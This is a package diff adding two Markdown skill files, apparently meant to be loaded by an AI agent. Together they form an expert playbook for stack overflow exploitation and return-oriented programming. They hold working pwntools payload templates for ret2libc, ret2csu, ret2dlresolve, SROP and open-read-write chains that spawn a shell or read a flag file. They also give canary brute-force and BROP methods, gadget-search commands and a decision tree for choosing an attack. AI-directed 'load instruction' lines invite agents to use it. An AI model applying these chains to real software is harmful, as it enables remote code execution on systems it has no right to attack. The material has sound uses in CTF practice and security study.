ineedcodes 1.6.1 → 1.7.0

package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md

@@ -0,0 +1,249 @@
+# Advanced ROP Techniques — BROP, Partial Overwrite, JOP, COP
+
+> **AI LOAD INSTRUCTION**: Load this when you need Blind ROP methodology, ret2vdso for ASLR bypass, partial overwrite for PIE bypass, or alternative code-reuse paradigms (JOP/COP). Assumes the main [SKILL.md](./SKILL.md) is already loaded for fundamental ROP, ret2csu, ret2dlresolve, and SROP.
+
+---
+
+## 1. BLIND ROP (BROP)
+
+Exploit a remote stack overflow **without access to the binary**. Requires a service that forks (canary and ASLR layout persist across crashes).
+
+### BROP Attack Phases
+
+| Phase | Goal | Method |
+|---|---|---|
+| 1. Stack reading | Determine buffer offset + canary | Byte-by-byte brute-force (child process crash = wrong byte) |
+| 2. Find stop gadget | Address that doesn't crash | Scan code section for `ret` into valid code (e.g., infinite loop, `sleep`) |
+| 3. Find BROP gadget | `__libc_csu_init` gadget | Scan for 6-pop pattern: probe address, if crash after 6 pops+ret → BROP gadget |
+| 4. Find puts/write PLT | Function to leak memory | Probe PLT entries: set RDI to known readable, call candidate, check for output |
+| 5. Dump binary | Leak .text, .got, .dynamic | Use puts(addr) to read binary from memory page by page |
+| 6. Standard ROP | Build exploit with leaked binary | ROPgadget on dumped binary, ret2libc |
+
+### BROP Gadget Identification
+
+The `__libc_csu_init` tail pops 6 registers then returns. Probe:
+
+```
+[overflow][canary][saved_rbp][candidate_addr][A][A][A][A][A][A][stop_gadget]
+                                              rbx rbp r12 r13 r14 r15
+```
+
+If the process survives (reaches stop gadget) → candidate is a 6-pop gadget (high probability = BROP gadget).
+
+### Trap Gadget vs Stop Gadget
+
+- **Stop gadget**: address that causes the process to hang or respond predictably (not crash)
+- **Trap gadget**: address that crashes (0x0, unmapped page) — used as a probe terminator
+
+### PLT Identification
+
+PLT entries are at fixed 16-byte intervals. Probe: set RDI to a known readable address, iterate PLT base + N*16, check if output appears on socket → found puts/write.
+
+---
+
+## 2. ret2vdso (32-bit ASLR Bypass)
+
+The vDSO (virtual Dynamic Shared Object) is a kernel-mapped page containing optimized syscall stubs. On **32-bit Linux kernels < 3.18**, vDSO was mapped at a **fixed address** or with low entropy.
+
+### Attack Method
+
+1. Locate `sigreturn` gadget in vDSO (fixed or brute-forceable address)
+2. Use SROP via vDSO's sigreturn to set all registers
+3. Execute `execve("/bin/sh", 0, 0)` via syscall
+
+| Kernel Version | vDSO ASLR | Entropy |
+|---|---|---|
+| < 2.6.18 (32-bit) | Fixed at 0xffffe000 | None |
+| 2.6.18–3.17 (32-bit) | 1 page randomization | ~8 bits (256 positions) |
+| ≥ 3.18 (32-bit) | Full ASLR | Same as mmap |
+| 64-bit | Always randomized | Full ASLR |
+
+**Modern relevance**: Limited to legacy 32-bit systems. On 64-bit, vDSO is fully randomized.
+
+---
+
+## 3. PARTIAL OVERWRITE (PIE Bypass)
+
+When PIE is enabled, the code base is randomized but the **last 12 bits** (page offset) are always fixed. Overwriting only the lowest 1–2 bytes of a return address can redirect execution within the same page or to a nearby page.
+
+### Technique
+
+```
+Original return address: 0x5555555551?? (last 12 bits = 0x1??, fixed)
+Overwrite last 2 bytes:  0x555555551234 → redirect to offset 0x1234 in binary
+
+If only last byte overwritten (no null terminator issue):
+  Only 4 bits unknown (nibble brute-force = 16 attempts)
+If last 2 bytes overwritten:
+  Only 4 bits unknown (page alignment) = 16 attempts
+```
+
+### When to Use
+
+| Scenario | Technique |
+|---|---|
+| PIE + no info leak | Partial overwrite low bytes of return address |
+| PIE + one-byte overflow | Overwrite saved RBP low byte → misaligned frame → secondary leak |
+| PIE + format string | Leak full PIE base first (preferred over partial overwrite) |
+
+### Practical Notes
+
+- Null bytes in addresses: 64-bit addresses typically contain `\x00` in upper bytes, making overflow-based overwrites write the null terminator naturally
+- Probability: partial overwrite success depends on unknown nibble (1/16 per attempt)
+- Combine with fork-based brute-force if process restarts with same layout
+
+---
+
+## 4. JOP — Jump-Oriented Programming
+
+Alternative to ROP using indirect `jmp` instructions instead of `ret`.
+
+### Dispatcher Gadget Pattern
+
+```nasm
+; Dispatcher: advances a "virtual PC" table and jumps to next gadget
+add rax, 8       ; advance table pointer
+jmp [rax]        ; jump to next functional gadget
+```
+
+Each functional gadget ends with `jmp [rax]` (or equivalent) to return to the dispatcher.
+
+### JOP Gadget Types
+
+| Type | Example | Purpose |
+|---|---|---|
+| Dispatcher | `add rax, 8; jmp [rax]` | Sequence control |
+| Functional | `pop rdi; jmp [rax]` | Register setup |
+| Initializer | Sets RAX to dispatch table address | Bootstrap |
+
+### When JOP Matters
+
+- **CET/Shadow Stack**: Intel CET marks `ret` with shadow stack validation — ROP returns fail, but `jmp` gadgets are not checked by shadow stack (though IBT may restrict indirect jumps)
+- Some binaries have abundant `jmp` gadgets but few `ret` gadgets
+
+---
+
+## 5. COP — Call-Oriented Programming
+
+Uses indirect `call` instructions. Each gadget ends with `call [reg]` to chain to the next.
+
+```nasm
+; Example COP gadget
+mov rdi, rbx
+call [rax + 0x10]   ; chains to next gadget via function pointer table
+```
+
+### COP vs ROP vs JOP Comparison
+
+| Aspect | ROP | JOP | COP |
+|---|---|---|---|
+| Chaining mechanism | `ret` | `jmp [reg]` | `call [reg]` |
+| Stack consumption | Yes (RSP advances) | No (table-based) | Yes (pushes return addr) |
+| CET Shadow Stack | Blocked | Not directly blocked | Partially blocked (IBT) |
+| Gadget availability | Most common | Moderate | Least common |
+| Complexity | Low | High (need dispatcher) | High |
+
+---
+
+## 6. STACK-BASED ORW (open-read-write)
+
+When `execve` is blocked by seccomp but `open`/`read`/`write` are allowed, build a ROP chain to read the flag file.
+
+### x86-64 Syscall Numbers for ORW
+
+| Syscall | Number | Args |
+|---|---|---|
+| `open` (or `openat`) | 2 (257) | RDI=path, RSI=flags, RDX=mode |
+| `read` | 0 | RDI=fd, RSI=buf, RDX=count |
+| `write` | 1 | RDI=fd(1), RSI=buf, RDX=count |
+
+```python
+# ORW ROP chain skeleton
+rop = b''
+# open("flag", O_RDONLY)
+rop += p64(pop_rdi) + p64(flag_str_addr)
+rop += p64(pop_rsi_r15) + p64(0) + p64(0)
+rop += p64(pop_rax) + p64(2) + p64(syscall_ret)
+# read(fd=3, buf, 0x100)
+rop += p64(pop_rdi) + p64(3)
+rop += p64(pop_rsi_r15) + p64(buf_addr) + p64(0)
+rop += p64(pop_rdx) + p64(0x100)
+rop += p64(pop_rax) + p64(0) + p64(syscall_ret)
+# write(1, buf, 0x100)
+rop += p64(pop_rdi) + p64(1)
+rop += p64(pop_rsi_r15) + p64(buf_addr) + p64(0)
+rop += p64(pop_rdx) + p64(0x100)
+rop += p64(pop_rax) + p64(1) + p64(syscall_ret)
+```
+
+---
+
+## 7. ret2csu EXTENDED PATTERNS
+
+### Variant: Using csu_init for Indirect Call to GOT
+
+```python
+csu_pop = elf_base + 0x40123a  # pop rbx..r15; ret
+csu_call = elf_base + 0x401220 # mov rdx,r13; mov rsi,r14; mov edi,r15d; call [r12+rbx*8]
+
+payload = b'A' * offset
+payload += p64(csu_pop)
+payload += p64(0)             # rbx = 0
+payload += p64(1)             # rbp = 1 (skip loop)
+payload += p64(elf.got['write'])  # r12 → call *GOT[write]
+payload += p64(8)             # r13 → rdx = 8 (count)
+payload += p64(elf.got['puts'])   # r14 → rsi = GOT[puts] (leak)
+payload += p64(1)             # r15 → edi = 1 (stdout)
+payload += p64(csu_call)
+payload += b'A' * 56          # padding for 7 pops after call
+payload += p64(main_addr)     # return to main
+```
+
+### When ret2csu Fails
+
+- **PIE enabled**: csu gadget addresses unknown (need leak first)
+- **Static binary**: `__libc_csu_init` may not exist → fall back to SROP
+- **Only `edi` set**: r15d → edi (32-bit zero-extended), cannot set full 64-bit RDI → use supplementary `pop rdi` if available
+
+---
+
+## 8. ARCHITECTURE-SPECIFIC NOTES
+
+### ARM ROP
+
+| Aspect | ARM32 | AArch64 |
+|---|---|---|
+| Return register | LR (R14) | LR (X30) |
+| Key gadget | `pop {r0-r3, pc}` | `ldp x29, x30, [sp]; ret` |
+| Syscall | `svc #0` | `svc #0` |
+| NOP sled | `mov r0, r0` (0xe1a00000) | `nop` (0xd503201f) |
+| Thumb mode | Mixed ARM/Thumb gadgets | N/A (A64 only) |
+
+### MIPS ROP
+
+- No NX by default (stack executable on many MIPS devices) → shellcode often viable
+- Branch delay slots: instruction after branch always executes
+- Gadget: `jalr $t9` with `$a0`–`$a3` for args
+- Cache coherency: may need `sleep(1)` between write and execute for I-cache flush
+
+---
+
+## 9. TOOLCHAIN CHEAT SHEET
+
+```bash
+# Find specific gadgets
+ROPgadget --binary ./pwn --only "pop|ret" | grep rdi
+ropper -f ./pwn --search "pop rdi; ret"
+
+# Auto-generate chain
+ROPgadget --binary ./pwn --ropchain
+
+# Find one_gadget constraints
+one_gadget ./libc.so.6 -l 2  # level 2 = more results, looser constraints
+
+# Verify gadget in GDB
+gdb ./pwn -ex "x/3i 0x401234"
+
+# pwntools template
+pwn template --host remote.ctf --port 1337 ./pwn > exploit.py
+```

package/skills/stack-overflow-and-rop/SKILL.md

@@ -0,0 +1,304 @@
+---
+name: stack-overflow-and-rop
+description: >-
+  Stack overflow and ROP playbook. Use when exploiting buffer overflows to hijack control flow via return address overwrite, ROP chains, ret2libc, ret2csu, ret2dlresolve, or SROP on Linux userland binaries.gated: true
+---
+
+# SKILL: Stack Overflow & ROP — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: Expert stack-based exploitation techniques. Covers classic buffer overflow, return-to-libc, ROP chain construction, ret2csu, ret2dlresolve, SROP, stack pivoting, and canary bypass. Distilled from ctf-wiki advanced-rop, real-world CVEs, and CTF competition patterns. Base models often miss the nuance of gadget selection under constrained conditions.
+
+## 0. RELATED ROUTING
+
+- [format-string-exploitation](../format-string-exploitation/SKILL.md) — leak canary/libc/PIE base via format string before triggering overflow
+- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — systematic bypass of NX, ASLR, PIE, canary, RELRO
+- [arbitrary-write-to-rce](../arbitrary-write-to-rce/SKILL.md) — convert a write primitive (GOT, hooks, vtable) into code execution
+- [heap-exploitation](../heap-exploitation/SKILL.md) — when the vulnerability is in heap rather than stack
+
+### Advanced Reference
+
+Load [ROP_ADVANCED_TECHNIQUES.md](./ROP_ADVANCED_TECHNIQUES.md) when you need:
+- Blind ROP (BROP) methodology against remote services without binary
+- ret2vdso for ASLR bypass on 32-bit systems
+- Partial overwrite techniques for PIE bypass
+- JOP / COP alternative code-reuse paradigms
+
+---
+
+## 1. STACK LAYOUT FUNDAMENTALS
+
+```
+High Address
+┌─────────────────────┐
+│   ...  (caller)     │
+├─────────────────────┤
+│   Return Address    │  ← overwrite target (EIP/RIP control)
+├─────────────────────┤
+│   Saved EBP/RBP     │  ← overwrite for stack pivoting
+├─────────────────────┤
+│   Canary (if enabled)│
+├─────────────────────┤
+│   Local Variables    │  ← buffer starts here
+├─────────────────────┤
+│   ...               │
+└─────────────────────┘
+Low Address
+```
+
+| Element | x86 (32-bit) | x86-64 (64-bit) |
+|---|---|---|
+| Return address size | 4 bytes | 8 bytes |
+| Saved frame pointer | 4 bytes (EBP) | 8 bytes (RBP) |
+| Canary size | 4 bytes | 8 bytes |
+| Calling convention | args on stack | RDI, RSI, RDX, RCX, R8, R9 then stack |
+| Syscall instruction | `int 0x80` | `syscall` |
+
+---
+
+## 2. RETURN-TO-LIBC
+
+When NX is enabled (stack not executable), redirect execution to libc functions.
+
+### Classic ret2libc (32-bit)
+
+```python
+payload = b'A' * offset
+payload += p32(system_addr)
+payload += p32(exit_addr)      # fake return address for system()
+payload += p32(binsh_addr)     # arg1: "/bin/sh"
+```
+
+### ret2libc (64-bit) — Need Gadgets for Arguments
+
+```python
+pop_rdi = elf_base + 0x401234  # pop rdi; ret
+payload = b'A' * offset
+payload += p64(pop_rdi)
+payload += p64(binsh_addr)
+payload += p64(system_addr)
+```
+
+### Libc Base Leak Methods
+
+| Method | Technique | When |
+|---|---|---|
+| puts@plt(puts@GOT) | Leak resolved libc address | GOT already resolved, puts in PLT |
+| write@plt(1, read@GOT, 8) | Leak via write syscall | write available |
+| printf("%s", GOT_entry) | Leak via format string | printf controllable |
+| Partial overwrite | Overwrite low bytes of return to reach leak gadget | PIE enabled, known last 12 bits |
+
+```python
+# Typical leak pattern
+rop = b'A' * offset
+rop += p64(pop_rdi) + p64(elf.got['puts'])
+rop += p64(elf.plt['puts'])
+rop += p64(main_addr)  # return to main for second payload
+
+io.sendline(rop)
+leak = u64(io.recvline().strip().ljust(8, b'\x00'))
+libc_base = leak - libc.symbols['puts']
+```
+
+### one_gadget — Single Gadget RCE
+
+```bash
+$ one_gadget /path/to/libc.so.6
+0x4f3d5  execve("/bin/sh", rsp+0x40, environ)
+  constraints: rsp & 0xf == 0, rcx == NULL
+0x4f432  execve("/bin/sh", rsp+0x40, environ)
+  constraints: [rsp+0x40] == NULL
+```
+
+Constraints must be satisfied — check register/stack state before using.
+
+---
+
+## 3. ROP CHAIN CONSTRUCTION
+
+### Tool Comparison
+
+| Tool | Strength | Command |
+|---|---|---|
+| ROPgadget | Comprehensive search, chain generation | `ROPgadget --binary elf --ropchain` |
+| ropper | Semantic search, JOP/COP support | `ropper -f elf --search "pop rdi"` |
+| pwntools ROP | Automated chain building | `rop = ROP(elf); rop.call('system', ['/bin/sh'])` |
+| xrop | Fast gadget search | `xrop -r elf` |
+
+### Essential Gadget Patterns
+
+| Purpose | Gadget | Use Case |
+|---|---|---|
+| Set RDI (arg1) | `pop rdi; ret` | Most function calls |
+| Set RSI (arg2) | `pop rsi; pop r15; ret` | Two-arg functions |
+| Set RDX (arg3) | `pop rdx; ret` (rare) | Three-arg functions, use ret2csu |
+| Syscall | `syscall; ret` | Direct syscall invocation |
+| Stack pivot | `leave; ret` | Move RSP to controlled buffer |
+| Align stack | `ret` (single ret gadget) | Fix 16-byte alignment for movaps |
+
+**x86-64 stack alignment**: `system()` and other libc functions use `movaps` which requires RSP % 16 == 0. Insert an extra `ret` gadget before the call if alignment is off.
+
+---
+
+## 4. ret2csu — Universal 3-Argument Control
+
+`__libc_csu_init` exists in nearly all dynamically linked ELF binaries and provides controlled calls with up to 3 arguments.
+
+```nasm
+; Gadget 1 (csu_init + 0x3a): pop registers
+pop rbx     ; 0
+pop rbp     ; 1
+pop r12     ; call target (function pointer address)
+pop r13     ; arg3 (rdx)
+pop r14     ; arg2 (rsi)
+pop r15     ; arg1 (edi = r15d)
+ret
+
+; Gadget 2 (csu_init + 0x20): controlled call
+mov rdx, r13
+mov rsi, r14
+mov edi, r15d    ; NOTE: only sets edi (32-bit), not full rdi
+call [r12 + rbx*8]
+add rbx, 1
+cmp rbp, rbx
+jne <loop>
+; falls through to gadget 1 again
+```
+
+**Key constraints**: r12 must point to a **pointer** to the target function (e.g., GOT entry), not the function address directly. Set `rbx=0`, `rbp=1` to skip the loop.
+
+---
+
+## 5. ret2dlresolve
+
+Forge ELF dynamic linking structures to resolve an arbitrary function (e.g., `system`) without a libc leak.
+
+### Attack Flow
+
+1. Control execution to call `_dl_runtime_resolve(link_map, reloc_offset)`
+2. Forge `Elf_Rel` at known writable address pointing to fake `Elf_Sym`
+3. Forge `Elf_Sym` with `st_name` pointing to fake string `"system\x00"`
+4. Set `reloc_offset` so resolver uses forged structures
+5. Argument (`/bin/sh`) placed on stack or in known buffer
+
+```python
+# pwntools automation (recommended)
+from pwntools import *
+rop = ROP(elf)
+dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
+rop.read(0, dlresolve.data_addr)
+rop.ret2dlresolve(dlresolve)
+io.sendline(rop.chain())
+io.sendline(dlresolve.payload)
+```
+
+### 32-bit vs 64-bit Differences
+
+| Aspect | 32-bit | 64-bit |
+|---|---|---|
+| Relocation type | `Elf32_Rel` (8 bytes) | `Elf64_Rela` (24 bytes) |
+| Symbol table entry | `Elf32_Sym` (16 bytes) | `Elf64_Sym` (24 bytes) |
+| Alignment | Relaxed | Strict (must satisfy `ndx = (reloc_offset) / sizeof(Elf64_Rela)`, then `sym = symtab[ndx]`) |
+| Version check | Usually skippable | `VERSYM[sym_index]` must be valid or 0 |
+
+---
+
+## 6. SROP — Sigreturn-Oriented Programming
+
+Abuse the `sigreturn` syscall to set **all registers at once** from a fake Signal Frame on the stack.
+
+```python
+from pwn import *
+frame = SigreturnFrame()
+frame.rax = constants.SYS_execve  # 59
+frame.rdi = binsh_addr
+frame.rsi = 0
+frame.rdx = 0
+frame.rip = syscall_ret_addr
+frame.rsp = new_stack_addr  # optional pivot
+
+payload = b'A' * offset
+payload += p64(pop_rax_ret) + p64(15)  # SYS_rt_sigreturn = 15
+payload += p64(syscall_ret)
+payload += bytes(frame)
+```
+
+**When to use**: limited gadgets, no `pop rdx`, static binary, or need to pivot stack to arbitrary address.
+
+---
+
+## 7. STACK PIVOTING
+
+Move the stack pointer to an attacker-controlled buffer when overflow length is limited.
+
+| Technique | Gadget | Precondition |
+|---|---|---|
+| `leave; ret` | `mov rsp, rbp; pop rbp; ret` | Control saved RBP to point to fake stack |
+| `xchg rsp, rax; ret` | Swap RSP with RAX | Control RAX (via gadget chain) |
+| `pop rsp; ret` | Direct RSP control | Rare but powerful |
+| SROP pivot | Set RSP in SigreturnFrame | Only need sigreturn gadget |
+
+### leave;ret Pivot Pattern
+
+```
+Overflow: [AAAA...][fake_rbp → buf][leave_ret_addr]
+  1st leave: rsp = rbp → fake_rbp;  pop rbp → *fake_rbp
+  1st ret:   rip = leave_ret_addr
+  2nd leave: rsp = new_rbp → buf+8; pop rbp → *(buf)
+  2nd ret:   rip = *(buf+8) → start of ROP chain in buf
+```
+
+---
+
+## 8. CANARY BYPASS
+
+| Technique | Condition | Method |
+|---|---|---|
+| Brute-force | `fork()` server (canary same in child) | Byte-by-byte (256 × 7 = 1792 attempts for 64-bit) |
+| Format string leak | printf(user_input) available | `%N$p` to read canary from stack |
+| Stack reading | One-byte overflow or partial read | Overwrite canary null byte, read via error/output |
+| Thread canary | Overflow reaches TLS | Overwrite `stack_guard` in TLS (at `fs:[0x28]`) simultaneously |
+| Information disclosure | Uninitialized stack variable leak | Canary included in leaked data |
+
+---
+
+## 9. TOOLS QUICK REFERENCE
+
+```bash
+checksec ./binary                          # Show protections (NX, canary, PIE, RELRO)
+ROPgadget --binary ./binary --ropchain     # Auto-generate ROP chain
+ropper -f ./binary --search "pop rdi"      # Semantic gadget search
+one_gadget ./libc.so.6                     # Find one-shot RCE gadgets
+pwn template ./binary --host x --port y    # Generate pwntools exploit skeleton
+```
+
+---
+
+## 10. DECISION TREE
+
+```
+Binary has stack overflow?
+├── checksec: NX disabled?
+│   └── YES → shellcode on stack, ret to buffer (ret2shellcode)
+│   └── NO (NX enabled) →
+│       ├── Canary enabled?
+│       │   ├── YES → fork() server? → brute-force canary
+│       │   │         format string? → leak canary
+│       │   │         info leak?     → read canary
+│       │   └── NO → proceed to ROP
+│       ├── ASLR/PIE enabled?
+│       │   ├── PIE → leak code base (partial overwrite last 12 bits, or info leak)
+│       │   ├── ASLR only → leak libc base (puts@GOT, write@GOT)
+│       │   └── Neither → addresses known, direct ROP
+│       ├── Can leak libc?
+│       │   ├── YES → ret2libc (system/execve) or one_gadget
+│       │   └── NO → ret2dlresolve (forge resolution) or SROP
+│       ├── Need 3+ args but no pop rdx?
+│       │   └── ret2csu or SROP
+│       ├── Overflow too short for full chain?
+│       │   └── Stack pivot (leave;ret, xchg rsp)
+│       ├── Static binary (no libc)?
+│       │   └── SROP + syscall chain (execve via sigreturn)
+│       └── Full RELRO?
+│           └── Cannot overwrite GOT → target __free_hook, __malloc_hook,
+│               or _IO_FILE vtable (see ../arbitrary-write-to-rce/)
+```